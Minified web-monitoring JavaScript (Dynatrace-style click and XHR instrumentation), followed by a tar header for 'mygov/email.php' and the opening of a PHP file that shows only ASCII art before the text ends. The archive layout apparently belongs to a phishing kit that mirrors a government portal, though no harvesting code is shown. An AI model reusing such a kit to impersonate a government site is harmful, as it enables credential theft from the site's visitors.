"string"===typeof V.innerText))qa=qa.getBoundingClientRect(),lb=!(0>qa.right||qa.left>(window.innerWidth||document.documentElement.clientWidth)||0>qa.bottom||qa.top>(window.innerHeight||document.documentElement.clientHeight));if(lb){eb=S.dT_.nw();break}}}function Pa(){La();ja&&!H?gb():!ja&&H&&(S.dT_.rBPSL(Ea),S.dT_.rO("deadClickObserver"),S.dT_.rel(document,"click",db,void 0),C=[],H=!1,eb=-1)}function za(){if(Q=S.dT_.bcv("uxrgce")){var ib=S.dT_.scv("uxrgcm").split(";"),aa=ib[1];ia=ab(ib[0]);ab(aa)}}
function ab(ib){ib=ib.split(",");return{aj:Number(ib[0])||100,jj:Number(ib[1])||25,Ji:Number(ib[2])||300,Fi:Number(ib[3])||3}}function ba(ib){return{x:ib.x||ib.clientX,y:ib.y||ib.clientY,timeStamp:S.dT_.nw()}}function Z(){S.dT_.iMD()||(S.dT_.aBPSL(ta),S.dT_.ael(document,"click",na),S.dT_.ael(document,"mousedown",Aa),W=!0)}function Aa(ib){ua=ba(ib)}function na(ib){ib=ba(ib);if(0===Ka.length)Ka.push(ib);else{var aa=Ka[0],qa=Ka[Ka.length-1];if(qa=ib&&qa?ib.timeStamp-qa.timeStamp<=ia.Ji:!1)qa=ia.jj,qa=
Math.abs(aa.x-ib.x)<=qa&&Math.abs(aa.y-ib.y)<=qa;qa&&ib&&ua&&ib.timeStamp-ua.timeStamp<=ia.aj?(Ka.push(ib),Ma()):(Ka.length>=ia.Fi&&Ja(),Ka=[ib])}}function ta(ib,aa,qa,V){if(0!==Hb.length){aa=ib.av;qa=Hb;for(var pa=[],Va=0;Va<qa.length;Va++){var nb=qa[Va];pa.push(nb.bj+"|"+nb.Gi.toFixed()+"|"+nb.duration.toFixed())}aa.call(ib,V,"rC",pa.join(","),!0);Hb=[]}}function Ma(){S.dT_.ct(la);la=S.dT_.st(function(){Ka.length>=ia.Fi&&Ja()},ia.Ji)}function Ja(){var ib=Ka[0];ib={bj:Ka.length,Gi:Math.round(ib.timeStamp),
duration:Math.round(Ka[Ka.length-1].timeStamp-ib.timeStamp)};0<ib.Gi&&0<ib.duration&&(Hb.push(ib),S.dT_.sMPS(2E3));Ka=[]}function fa(){za();Q&&!W?Z():!Q&&W&&(S.dT_.rBPSL(ta),S.dT_.rel(document,"click",na,void 0),S.dT_.rel(document,"mousedown",Aa,void 0),Ka=[],Hb=[],W=!1)}var S="undefined"!==typeof window?window:self,va="undefined"!==typeof window?window:self,ja,U,eb=-1,L,C=[],H=!1,Q,ia,W=!1,la,ua,Ka=[],Hb=[];(function(){var ib,aa;return va.dT_&&(null===(aa=(ib=S.dT_).smbi)||void 0===aa?void 0:aa.call(ib,
"u"))})()&&(za(),Q&&Z(),ra(fa),La(),ja&&gb(),ra(Pa))})()})();
(function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(){if(!ra.hasCache){ra.hasCache=!0;var q=void 0;if("defineProperty"in Object){var D={Me:41};try{Object.defineProperty(D,"Z",{get:function(){return this.Me},set:function(t){this.Me=t}}),D.Z=42,q=42===D.Me}catch(t){q=!1}}else q=!1;ra.cachedVal=q}return!!ra.cachedVal}function La(q,D,t){if(t||2===arguments.length)for(var y=0,Y=D.length,x;y<Y;y++)!x&&y in
D||(x||(x=Array.prototype.slice.call(D,0,y)),x[y]=D[y]);return q.concat(x||Array.prototype.slice.call(D))}function gb(){}function db(q){var D=!1;try{D=!V.dT_.iNF(q)}catch(Y){}if(!D)for(var t=0,y=Ab;t<y.length&&!(D=(D=q.prototype[y[t]])&&!V.dT_.iNF(D));t++);return D?(V.dT_.addE("DEBUG_INFO_REQUESTED",function(){return{type:"lxw",text:"Found a non-native XMLHttpRequest object before initializing! Basic XHR is operating in late mode.",severity:"Warning"}}),!0):!1}function Ea(q){if(!ra()){var D=q.dtProps;
try{a:{var t=D.I,y=D.ba,Y=t.responseXML;if(ca){var x=t.getResponseHeader("Content-Type");if(pa.ActiveXObject&&Y&&!Y.documentElement&&x&&x.match(/[^\/]+\/[^+]+\+xml/)){var oa=new pa.ActiveXObject("Microsoft.XMLDOM");oa.loadXML&&oa.loadXML(t.responseText);var R=oa.parseError;if(R&&0!==R.errorCode||oa.documentElement&&"parsererror"===oa.documentElement.tagName){if(V.dT_.mx())try{V.dT_.mxp(R?R.reason:"",y)}catch(wa){}var O=Y;break a}Y=oa}}O=Y}q.responseXML=O}catch(wa){}O=0;for(t=lb;O<t.length;O++){y=
t[O];try{"responseXML"!==y&&y in D.I&&(q[y]=D.I[y])}catch(wa){}}}}function Ua(q,D){q=q.dtProps.Ea;var t=[];D=D.substring(2);for(var y=0;y<q.length;y++){var Y=q[y];Y[0]===D&&t.push(Y[1])}return t}function Pa(q,D,t){function y(O){function wa(Ga,Wa){try{t?(V.dT_.ec(t.dtProps.ba),t.dtProps.za++):(V.dT_.ec(q.dtProps.ba),q.dtProps.za++,O in{onerror:0,onload:1,onprogress:2}&&Ea(q)),"object"===typeof Wa&&Wa.handleEvent?Za.handleEventCallback(Wa.handleEvent,Wa,Ga):Za.handleEventCallback(Wa,q,Ga)}finally{t?
(t.dtProps.za--,V.dT_.lc(t.dtProps.ba)):(q.dtProps.za--,V.dT_.lc(q.dtProps.ba))}}try{D[O]=function(Ga){var Wa=Array.prototype.slice.call(arguments);if(0<Wa.length){var Eb=ab(Ga,q);V.dT_.fE(Va,function(rc){"undefined"!==typeof Ga[rc]&&(Eb[rc]=Ga[rc])});Wa[0]=Eb}var Lb=q.dtProps;if(V.dT_.mx()&&O in Y)Y[O](Lb.ba);var Nb=Lb[O]||Oa&&q[O];Nb&&wa(Wa,Nb);Nb=0;for(var ac=Ua(q,O);Nb<ac.length;Nb++)wa(Wa,ac[Nb]);ca&&"ontimeout"===O&&V.dT_.st(function(){Lb.uc&&1===Lb.hc&&V.dT_.lx(Lb.ba,void 0,void 0,void 0,"x")},
0)}}catch(Ga){}}for(var Y={onerror:function(){t?V.dT_.mxg("Upload failure",t.dtProps.ba):V.dT_.mxf(q.dtProps.I.status,q.dtProps.I.statusText,q.dtProps.ba)},onabort:V.dT_.mxc,ontimeout:V.dT_.mxt},x=0,oa=nb;x<oa.length;x++){var R=oa[x];try{if(R in D||Oa&&R in q)V.dT_.bcv("raxeh")?y(R):(Ua(q,R).length||q[R])&&y(R)}catch(O){}}}function za(q,D,t){Object.defineProperty(q,D,{enumerable:!0,get:t})}function ab(q,D){var t=q.timeStamp||V.dT_.nw(),y="undefined"===typeof q.eventPhase?2:q.eventPhase,Y=q.stopPropagation||
gb,x=q.stopImmediatePropagation||gb,oa=q.preventDefault||gb,R=q.initEvent||gb;if(ra())try{var O=document.createEvent("Event");O.initEvent(q.type,q.bubbles||!1,q.cancelable||!1);za(O,"target",function(){return D});za(O,"currentTarget",function(){return D});za(O,"srcElement",function(){return D});za(O,"eventPhase",function(){return y});za(O,"timeStamp",function(){return t});za(O,"stopPropagation",function(){return Y});za(O,"stopImmediatePropagation",function(){return x});za(O,"preventDefault",function(){return oa});
za(O,"initEvent",function(){return R});return O}catch(wa){}return{type:q.type,target:D,currentTarget:D,srcElement:D,eventPhase:y,bubbles:q.bubbles||!1,cancelable:q.cancelable||!1,timeStamp:t,stopPropagation:Y,stopImmediatePropagation:x,preventDefault:oa,initEvent:R}}function ba(q,D){try{var t=V.dT_.gPO(q),y=V.dT_.gPO(q.dtProps.I);y||(y=vb.prototype);return!t||!y||"__dtProto"in t[D]?null:t[D]}catch(Y){return null}}function Z(q){return V.dT_.iIO(q,["dtProps"])}function Aa(q){q.UNSENT=0;q.OPENED=1;q.HEADERS_RECEIVED=
2;q.LOADING=3;q.DONE=4}function na(q){if(ra())"upload"===q?Object.defineProperty(pa.XMLHttpRequest.prototype,"upload",{enumerable:!0,configurable:!0,get:function(){if(!this.dtProps.Kc)return vb.prototype.upload;this.dtProps.upload||(this.dtProps.upload=new I(this));return this.dtProps.upload}}):Object.defineProperty(pa.XMLHttpRequest.prototype,q,{enumerable:!0,configurable:!0,get:function(){return this.dtProps.Kc?0<=V.dT_.aIOf(lb,q)?this.dtProps.I[q]:this.dtProps[q]:vb.prototype[q]},set:function(D){this.dtProps.Kc?
this.dtProps[q]=D:vb.prototype[q]=D}});else try{pa.XMLHttpRequest.prototype[q]=void 0}catch(D){}}function ta(q,D){var t=pa.XMLHttpRequest.prototype[q];if(D||V.dT_.iNF(t))pa.XMLHttpRequest.prototype[q]=function(y,Y){function x(){if(Z(this)){"open"!==y||this.dtProps.url||(this.dtProps.url=arguments[1]+"");this.dtProps.I.withCredentials!==this.dtProps.withCredentials&&(this.dtProps.I.withCredentials=this.dtProps.withCredentials);var oa=this.dtProps.I}else oa=this;return Za.XMLHttpRequestCallback(Y,oa,
arguments)}x.__dtProto=!0;return x}(q,vb.prototype[q])}function Ma(){vb=pa.XMLHttpRequest;ca=11>V.dT_.gBI().ie;yb=Zb.ct||clearTimeout;if(pa.XMLHttpRequest&&(pa.XMLHttpRequest=Ba,vb.prototype)){Oa=db(vb);if(Object.create){var q=Object,D=q.create,t=vb.prototype;var y=vb.prototype;if(Object.getOwnPropertyDescriptors)y=Object.getOwnPropertyDescriptors(y);else{for(var Y={},x=0,oa=Object.getOwnPropertyNames(y);x<oa.length;x++){var R=oa[x],O=Object.getOwnPropertyDescriptor(y,R);O&&(Y[R]=O)}y=Y}Ba.prototype=
D.call(q,t,y)}else Ba.prototype.__proto__=V.dT_.gPO(vb.prototype);Ba.prototype.dtProps={Kc:!1};Ba.prototype.dtProps.Kc=!1;Aa(Ba);Aa(Ba.prototype);for(var wa in vb.prototype)if(-1===V.dT_.aIOf(gc,wa))try{-1!==V.dT_.aIOf(Ab,wa)?ta(wa,!0):-1!==V.dT_.aIOf(jb,wa)?na(wa):pa.XMLHttpRequest.prototype[wa]=vb.prototype[wa]}catch(Wa){na(wa)}for(var Ga in vb)if(!(Ga in vb.prototype))try{pa.XMLHttpRequest[Ga]=vb[Ga]}catch(Wa){}try{Ja()}catch(Wa){}}V.dT_.ael(pa,"unload",fa)}function Ja(){if(!V.dT_.bcv("peti")){if(pa.EventTarget)var q=
EventTarget.prototype;q&&q.addEventListener||!pa.XMLHttpRequestEventTarget||(q=V.dT_.gPO(pa.XMLHttpRequestEventTarget.prototype));q&&q.addEventListener||(q=XMLHttpRequest.prototype);if(q&&q.addEventListener){var D=q.addEventListener;q.addEventListener=function(Y,x,oa){if(Z(this))this.dtProps.mf(Y,x,oa);else return Za.AELWrapper(D,this,arguments)};var t=q.removeEventListener;q.removeEventListener=function(Y,x,oa){if(Z(this))this.dtProps.og(Y,x,oa);else return Za.RELWrapper(t,this,arguments)};var y=
q.dispatchEvent;q.dispatchEvent=function(Y){return Z(this)?this.dtProps.Zd(Y):Za.dispatchWrapper(y,this,arguments)}}}}function fa(){pa.XMLHttpRequest=vb;vb=null;ca=!1;yb=void 0;Oa=!1}function S(q,D){return new $a(q,D)}function va(q){return"string"===typeof q}function ja(q){q.ne||(V.dT_.lx(q.G,q.url,!0,void 0,"x"),q.ne=!0)}function U(q){var D=q.G,t=q.url;return Zb.aWF(q.Da,q.context,q.Pa,void 0===D?0:D,void 0===t?"":t,"x")}function eb(q,D,t){return function(){for(var y=[],Y=0;Y<arguments.length;Y++)y[Y]=
arguments[Y];Y=q.G;var x=q.url;try{if(V.dT_.ec(Y),"function"===typeof D)return U({Da:D,context:t,Pa:y,G:Y,url:x})}finally{V.dT_.lc(Y),ja(q)}}}function L(q,D,t){return{get:function(){return t||q[D]},enumerable:!0}}function C(q,D,t,y){return function(){for(var Y=[],x=0;x<arguments.length;x++)Y[x]=arguments[x];try{V.dT_.ec(q.G);var oa=Y[0],R=document.createEvent("Event");R.initEvent(oa.type,oa.bubbles,oa.cancelable);var O=L(oa,"target",y);Object.defineProperties(R,{target:O,currentTarget:O,srcElement:O,
stopPropagation:L(oa,"stopPropagation",function(){for(var wa=[],Ga=0;Ga<arguments.length;Ga++)wa[Ga]=arguments[Ga];Event.prototype.stopPropagation.apply(oa,wa);return Event.prototype.stopPropagation.apply(R,wa)}),stopImmediatePropagation:L(oa,"stopImmediatePropagation",function(){for(var wa=[],Ga=0;Ga<arguments.length;Ga++)wa[Ga]=arguments[Ga];Event.prototype.stopImmediatePropagation.apply(oa,wa);return Event.prototype.stopImmediatePropagation.apply(R,wa)}),preventDefault:L(oa,"preventDefault",function(){for(var wa=
[],Ga=0;Ga<arguments.length;Ga++)wa[Ga]=arguments[Ga];Event.prototype.preventDefault.apply(oa,wa);return Event.prototype.preventDefault.apply(R,wa)}),eventPhase:L(oa,"eventPhase","undefined"===typeof oa.eventPhase?2:void 0),timeStamp:L(oa,"timeStamp",oa.timeStamp||V.dT_.nw()),initEvent:L(oa,"initEvent")});Y[0]=R;if("function"===typeof D)return U({Da:D,context:oa.target,Pa:Y,G:q.G,url:q.url})}finally{V.dT_.lc(q.G)}}}function H(q,D,t){return function(){for(var y=[],Y=0;Y<arguments.length;Y++)y[Y]=arguments[Y];
try{if(V.dT_.ec(q.G),t.readyState===t.DONE&&V.dT_.mx()&&200!==t.status&&(0===t.status?V.dT_.st(V.dT_.mxc.bind(null,q.G),0):V.dT_.mxf(t.status,t.statusText,q.G)),"function"===typeof D)return U({Da:D,context:t,Pa:y,G:q.G,url:q.url})}finally{V.dT_.lc(q.G),t.readyState===t.DONE&&ja(q)}}}function Q(q,D){try{if("string"===typeof D&&"function"===typeof q[D]){var t=V.dT_.iNF(q[D]);q[D]=S(q[D],{apply:la.bind(null,D,t),get:function(y,Y,x){return"dT_proxy"===Y?!0:Reflect.get(y,Y,x)}})}}catch(y){}}function ia(q,
D){q.filter(ua.bind(null,D)).forEach(Q.bind(null,D))}function W(q,D,t,y,Y){q.G||(q.G=V.dT_.ex("x",void 0,q.url,!1,D));var x=V.dT_.sch({headers:{}},q.url,q.G);Reflect.ownKeys(x.headers).filter(va).forEach(function(oa){t.setRequestHeader(oa,x.headers[oa])});try{return U({Da:D,context:y,Pa:Y,G:q.G,url:q.url})}finally{q.async||ja(q)}}function la(q,D,t,y,Y){if(!V.dT_.iIO(y,22))return U({Da:t,context:y,Pa:Y});var x=y.dtProps,oa=y;x&&(D||Cb)&&(oa=x.target);if(!x)return U({Da:t,context:oa,Pa:Y});switch(D?
t.name:q){case "addEventListener":"function"===typeof Y[1]&&(q=Y[1],q.dT_cb?Y[1]=q.dT_cb:(Y[1]=C(x,q,oa,y),q.dT_cb=Y[1]));break;case "removeEventListener":y=Y[1];if(null===y||void 0===y?0:y.dT_cb)Y[1]=y.dT_cb;break;case "open":return x.G=0,x.ne=!1,x.url=Y[1],x.async=!0===Y[2]||void 0===Y[2],U({Da:t,context:oa,Pa:Y});case "send":return W(x,t,y,oa,Y);case "abort":ja(x)}return U({Da:t,context:oa,Pa:Y,G:x.G,url:x.url})}function ua(q,D){try{var t=q[D];if("function"!==typeof t||t.dT_proxy)return!1}catch(y){return!1}return!0}
function Ka(q){return"constructor"!==q}function Hb(q,D,t){"upload"===D&&V.dT_.mx()&&!t.Tf&&(q.upload.addEventListener("error",function(){V.dT_.mxg("Upload failure",t.G)}),t.Tf=!0);return t.Mc.has(D)?t.Mc.get(D):Reflect.get(q,D)}function ib(q,D,t){try{EventTarget.prototype.addEventListener.call(q,D,t)}catch(y){q.addEventListener(D,t)}}function aa(q){var D={G:0,async:!0,ne:!1,url:"",target:q,xj:!1,Tf:!1,Mc:new Map,toString:function(){return"[Custom DTProperty Object]"},toJSON:function(){return"[Custom DTProperty Object]"}};
q.dtProps=D;ib(q,"readystatechange",H(D,function(){},q));V.dT_.mx()&&(ib(q,"error",function(){return V.dT_.mxf(q.status,q.statusText,D.G)}),ib(q,"abort",function(){return V.dT_.mxc(D.G)}),ib(q,"timeout",function(){return V.dT_.mxt(D.G)}));return S(q,{get:function(t,y){return Hb(t,y,D)},set:function(t,y,Y,x){try{var oa=Y;switch(y){case "onabort":case "onerror":case "ontimeout":oa=eb(D,Y,t);D.Mc.set(y,Y);break;case "onloadstart":case "onprogress":case "onload":case "onloadend":oa=C(D,Y,t,x);D.Mc.set(y,
Y);break;case "onreadystatechange":oa=H(D,Y,t),D.Mc.set(y,Y)}var R=Reflect.set(t,y,oa)}catch(O){R=!1}return R}})}function qa(){Cb=db(pa.XMLHttpRequest);$a=pa.Proxy;var q=pa.XMLHttpRequest.prototype,D=EventTarget.prototype,t=Reflect.ownKeys(q).filter(va).filter(Ka),y=Reflect.ownKeys(D).filter(va).filter(Ka);pa.XMLHttpRequest=S(pa.XMLHttpRequest,{construct:function(Y,x){ia(t,q);ia(y,D);return aa(Reflect.construct(Y,x))}});ia(t,q);q.constructor=pa.XMLHttpRequest;ia(y,D)}var V="undefined"!==typeof window?
window:self,pa="undefined"!==typeof window?window:self,Va="cancelBubble defaultPrevented eventPhase isTrusted lengthComputable loaded position returnValue timeStamp total totalSize type".split(" "),nb="onabort onerror onload onloadend onloadstart onprogress ontimeout".split(" "),lb="responseText response status statusText responseBody responseStream responseURL responseXML responseType".split(" "),jb=La(La(La([],lb,!0),nb,!0),["onreadystatechange","upload","readyState"],!1),Ab="open send getAllResponseHeaders getResponseHeader setRequestHeader overrideMimeType abort sendAsBinary".split(" "),
gc=["addEventListener","removeEventListener","dispatchEvent"],Vb=La(La(La([],Ab,!0),jb,!0),gc,!0),Ha,yb,vb,ca,Oa=!1,Za=(Ha={},Ha.handleEventCallback=function(q,D,t){return Zb.aWF(q,D,t)},Ha.callOpen=function(q,D,t){return Zb.aWF(q,D,t)},Ha.send=function(q,D,t){return Zb.aWF(q,D,t)},Ha.getAllResponseHeaders=function(q,D,t){return Zb.aWF(q,D,t)},Ha.getResponseHeader=function(q,D,t){return Zb.aWF(q,D,t)},Ha.setRequestHeader=function(q,D,t){return Zb.aWF(q,D,t)},Ha.overrideMimeType=function(q,D,t){return Zb.aWF(q,
D,t)},Ha.RELWrapper=function(q,D,t){return Zb.aWF(q,D,t)},Ha.AELWrapper=function(q,D,t){return Zb.aWF(q,D,t)},Ha.dispatchWrapper=function(q,D,t){return Zb.aWF(q,D,t)},Ha.onreadystatechangeCallback=function(q,D,t){return Zb.aWF(q,D,t)},Ha.dispatchXHRCallback=function(q,D,t){return Zb.aWF(q,D,t)},Ha.XMLHttpRequestCallback=function(q,D,t){return Zb.aWF(q,D,t)},Ha.preventDefault=function(q,D,t){return Zb.aWF(q,D,t)},Ha.stopImmediatePropagation=function(q,D,t){return Zb.aWF(q,D,t)},Ha),I=function(){function q(D){var t=
this;if(t.constructor){var y=q;ra()&&Object.defineProperty(t,"constructor",{get:function(){return y},set:function(oa){y=oa}})}t.dtProps={Ea:[],ig:D.dtProps.I.upload,jg:D,jd:!1};var Y=t.dtProps;D=0;for(var x=nb;D<x.length;D++)(function(oa){Object.defineProperty(t,oa,{enumerable:!0,get:function(){return Y[oa]},set:function(R){Y[oa]=R;Y.jd||(Y.jd=!0,Pa(t,Y.ig,Y.jg))}})})(x[D]);t.addEventListener=function(oa,R,O){if(R){for(var wa=Y.Ea,Ga=0;Ga<wa.length;Ga++){var Wa=wa[Ga];if(Wa[0]===oa&&Wa[1]===R&&Wa[2]===
O)return}wa.push([oa,R,!!O]);Y.jd||(Y.jd=!0,Pa(t,Y.ig,Y.jg))}};t.removeEventListener=function(oa,R,O){for(var wa,Ga=Y.Ea,Wa=0;Wa<Ga.length;Wa++)if(wa=Ga[Wa],wa[0]===oa&&wa[1]===R&&wa[2]===O){Ga.splice(Wa,1);break}};t.dispatchEvent=function(oa){var R=Y.Ea,O=!1,wa=!1;if(oa.cancelable&&oa.preventDefault){var Ga=oa.preventDefault;oa.preventDefault=function(){O=!0;return Za.preventDefault(Ga,this,arguments)}}if(oa.stopImmediatePropagation){var Wa=oa.stopImmediatePropagation;oa.stopImmediatePropagation=
function(){wa=!0;return Za.stopImmediatePropagation(Wa,this,arguments)}}for(var Eb=0;Eb<R.length;Eb++){var Lb=R[Eb];wa||Lb[0]!==oa.type||Lb[2]||("object"===typeof Lb[1]&&Lb[1].handleEvent?Za.dispatchXHRCallback(Lb[1].handleEvent,Lb[1],[oa]):Za.dispatchXHRCallback(Lb[1],t,[oa]))}return!O}}q.prototype.toString=function(){return"[XMLHttpRequestUpload]"};return q}(),ka={readyState:0,response:"",responseText:"",responseType:"",responseURL:"",status:0,statusText:"",timeout:0,withCredentials:!1},Ba=function(){function q(D){function t(R){if(-1===
V.dT_.aIOf(lb,R)&&(!V.dT_.oHOP(x.I,R)||V.dT_.oHOP(y,R)))return Oa&&-1!==V.dT_.aIOf(Ab,R)&&ta(R,!1),"continue";if(ra())if("upload"===R)Object.defineProperty(y,"upload",{enumerable:!0,get:function(){x.upload||(x.upload=new I(y));return x.upload}});else{try{x[R]=x.I[R]}catch(wa){}Object.defineProperty(y,R,{enumerable:!0,get:function(){return 0<=V.dT_.aIOf(lb,R)?x.I[R]:"undefined"===typeof x[R]?ka[R]:x[R]},set:function(wa){x[R]=wa}})}else try{y[R]=x.I[R]}catch(wa){var O=ka[R];y[R]="undefined"!==typeof O?
O:null}}var y=this;if(y.constructor){var Y=q;ra()&&Object.defineProperty(y,"constructor",{get:function(){return Y},set:function(R){Y=R}})}y.dtProps={Kc:!0,ba:0,Ea:[],url:"",aborted:!1,za:0,async:void 0,Ib:void 0,I:arguments.length?new vb(D):new vb,uc:!1,hc:-1,Gb:-1,Be:[],sb:null,ke:!1,Ab:function(){y.readyState=x.I.readyState;if(y.readyState!==x.hc||100<V.dT_.nw()-x.Gb){for(var R=0,O=x.Be;R<O.length;R++)yb(O[R]);x.Be=[];Ea(y);4===y.readyState&&x.Xd();x.mg();x.Gb=V.dT_.nw()}else x.Be.push(V.dT_.st(x.Ab,
100));x.hc=y.readyState},yf:function(R,O){x.I.onreadystatechange!==x.Ab&&(x.I.onreadystatechange=x.Ab);x.ba=y.__dtFrameworks__?0:V.dT_.ex("x",void 0,x.url,void 0,y,!1,Oa);try{x.async&&(x.I.timeout=y.timeout)}catch(Lb){}try{x.async&&(x.I.responseType=y.responseType)}catch(Lb){}x.Ah();var wa={};wa=V.dT_.sch(wa,x.url,x.ba);for(var Ga in wa.headers)V.dT_.oHOP(wa.headers,Ga)&&x.I.setRequestHeader(Ga,wa.headers[Ga]);x.I.withCredentials!==y.withCredentials&&(x.I.withCredentials=y.withCredentials);wa=!0;
ca&&!x.uc&&x.mg();try{if(O&&x.I.sendAsBinary)var Wa=x.I.sendAsBinary.apply(x.I,R);else{var Eb=ba(y,"send");Wa=Eb?Za.send(Eb,y,R):x.I.send.apply(x.I,R)}wa=!1}finally{Ea(y),wa&&V.dT_.lx(x.ba,void 0,void 0,void 0,"x")}!x.async&&y.readyState&&x.ba&&V.dT_.lx(x.ba,void 0,void 0,void 0,"x");return Wa},Ah:function(){x.Ib&&(yb(x.Ib),x.Ib=void 0);x.ke||(Pa(y,x.I),x.ke=!0)},Xd:function(){x.I.onreadystatechange=null;x.Mh();x.Oh()},Lh:function(){x.sb||(x.sb=function(){x.sb&&(x.sb=null,x.Xd(),y.abort())},V.dT_.ael(pa,
"unload",x.sb))},Oh:function(){x.sb&&(V.dT_.rel(pa,"unload",x.sb),x.sb=null)},Mh:function(){x.Ib||(x.Ib=V.dT_.st(x.Nh,0))},Nh:function(){if(x.Ib){x.Ib=void 0;x.ke=!1;for(var R=x.I,O=0,wa=nb;O<wa.length;O++){var Ga=wa[O];try{Ga in R&&(R[Ga]=null)}catch(Wa){}}}},mf:function(R,O,wa){void 0===wa&&(wa=!1);for(var Ga=0,Wa=x.Ea;Ga<Wa.length;Ga++){var Eb=Wa[Ga];if(Eb[0]===R&&Eb[1]===O&&Eb[2]===wa)return}x.Ea.push([R,O,wa])},og:function(R,O,wa){void 0===wa&&(wa=!1);for(var Ga,Wa=0;Wa<x.Ea.length;Wa++)if(Ga=
x.Ea[Wa],Ga[0]===R&&Ga[1]===O&&Ga[2]===wa){x.Ea.splice(Wa,1);break}},Zd:function(R){var O=!1,wa=!1;if(R.cancelable&&R.preventDefault){var Ga=R.preventDefault;R.preventDefault=function(){O=!0;return Za.preventDefault(Ga,this,arguments)}}if(R.stopImmediatePropagation){var Wa=R.stopImmediatePropagation;R.stopImmediatePropagation=function(){wa=!0;return Za.stopImmediatePropagation(Wa,this,arguments)}}R=ab(R,y);"readystatechange"!==R.type||ca&&x.uc&&1===y.readyState||("undefined"!==typeof x.onreadystatechange?
x.onreadystatechange&&(x.uc=!0,Za.onreadystatechangeCallback(x.onreadystatechange,y,[R])):!ra()&&y.onreadystatechange&&(x.uc=!0,Za.onreadystatechangeCallback(y.onreadystatechange,y,[R])));for(var Eb=0,Lb=x.Ea;Eb<Lb.length;Eb++){var Nb=Lb[Eb];wa||Nb[0]!==R.type||Nb[2]||("object"===typeof Nb[1]&&Nb[1].handleEvent?Za.dispatchXHRCallback(Nb[1].handleEvent,Nb[1],[R]):Za.dispatchXHRCallback(Nb[1],y,[R]))}return!O},mg:function(){var R=x.ba;try{V.dT_.ec(R,y.readyState),x.za++,x.Zd({type:"readystatechange",
bubbles:!1,cancelable:!1,timeStamp:V.dT_.nw()})}finally{if(x.za--,V.dT_.lc(R),4===y.readyState&&R){var O=0,wa="Aborted";try{O=y.status,wa=y.statusText}catch(Ga){}200!==O&&V.dT_.mx()&&(0===O?V.dT_.st(function(){V.dT_.mxc(R)},0):V.dT_.mxf(O,wa,R));V.dT_.lx(R,x.url,!0,void 0,"x");x.ba=0}}},toString:function(){return"[Custom DTProperty Object]"},toJSON:function(){return"[Custom DTProperty Object]"}};var x=y.dtProps;y.readyState=0;Aa(y);try{Object.defineProperty(x,"responseType",{get:function(){return x.I.responseType},
set:function(R){x.I.responseType=R}})}catch(R){}for(var oa in x.I)t(oa);x.Gb=V.dT_.nw();Ea(y);y.onreadystatechange=null;"withCredentials"in x.I&&(y.withCredentials=x.I.withCredentials);y.timeout=0;"sendAsBinary"in x.I&&(y.sendAsBinary=function(){return x.yf(arguments,!0)});x.I.overrideMimeType&&(y.overrideMimeType=function(R){var O=ba(y,"overrideMimeType");return O?Za.overrideMimeType(O,y,arguments):x.I.overrideMimeType(R)});V.dT_.bcv("peti")&&x.I.addEventListener&&(y.addEventListener=function(R,
O,wa){var Ga=ba(y,"addEventListener");x.mf(R,O,wa);Ga?V.dT_.iNF(Ga)||Za.AELWrapper(Ga,x.I,arguments):V.dT_.iNF(x.I.addEventListener)||x.I.addEventListener(R,O,wa)},y.removeEventListener=function(R,O,wa){var Ga=ba(y,"removeEventListener");x.og(R,O,wa);Ga?V.dT_.iNF(Ga)||Za.RELWrapper(Ga,x.I,arguments):V.dT_.iNF(x.I.removeEventListener)||x.I.removeEventListener(R,O,wa)},y.dispatchEvent=function(R){var O=ba(y,"dispatchEvent");if(O){if(!V.dT_.iNF(O))return Za.dispatchWrapper(O,x.I,arguments)}else if(!V.dT_.iNF(x.I.dispatchEvent))return x.I.dispatchEvent(R);
return x.Zd(R)});y.open=function(R,O,wa,Ga,Wa){function Eb(Nb,ac,rc){"apply"in Nb?Za.callOpen(Nb,rc,ac):4<ac.length?Nb(R,O,wa,Ga,Wa):3<ac.length?Nb(R,O,wa,Ga):Nb(R,O,wa)}x.aborted=!1;3>arguments.length&&(wa=!0);x.async=wa;ca&&wa&&x.Lh();x.I.onreadystatechange=x.Ab;x.url=""+O;var Lb=ba(y,"open");Lb?Eb(Lb,arguments,y):Eb(x.I.open,arguments,x.I);y.readyState=x.I.readyState};y.send=function(){return x.yf(arguments,!1)};y.abort=function(){for(var R=[],O=0;O<arguments.length;O++)R[O]=arguments[O];0<y.readyState&&
(x.aborted=!0);(O=ba(y,"abort"))?O.apply(y,R):x.I.abort();x.Xd();if(x.ba){for(;0<x.za;)x.za--,V.dT_.lc(x.ba);V.dT_.lx(x.ba,void 0,void 0,void 0,"x");x.ba=0}};y.getAllResponseHeaders=function(){var R=ba(y,"getAllResponseHeaders");return R?Za.getAllResponseHeaders(R,y,arguments):x.I.getAllResponseHeaders()};y.getResponseHeader=function(R){var O=ba(y,"getResponseHeader");return O?Za.getResponseHeader(O,y,arguments):x.I.getResponseHeader(R)};y.setRequestHeader=function(R,O){var wa=R&&R.toLowerCase?R.toLowerCase():
R;if("x-dtpc"!==wa&&"x-dtreferer"!==wa&&"x-host"!==wa&&"x-dtc"!==wa)return(wa=ba(y,"setRequestHeader"))?Za.setRequestHeader(wa,y,arguments):x.I.setRequestHeader(R,O)};y.toString=function(){return"[XMLHttpRequest]"};y.toJSON=function(){return x.I};if(pa.Proxy&&V.dT_.bcv("exp"))return y=new Proxy(y,{set:function(R,O,wa){R[O]=wa;try{-1===V.dT_.aIOf(Vb,O)&&(R.dtProps.I[O]=wa)}catch(Ga){}return!0}})}return q}(),$a,Cb=!1,bd,Qb;if((Ha=pa.dT_)&&"ea"in Ha&&(null===(Qb=(bd=V.dT_).smbi)||void 0===Qb?0:Qb.call(bd,
"x"))){var Zb=Ha;"object"===typeof pa.Reflect&&"function"===typeof pa.Proxy&&V.dT_.bcv("expw")&&!V.dT_.gBI().edge?qa():Ma()}})()})();
mygov/email.php000064400000003265151676702570007533 0ustar00<?php
/*
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀
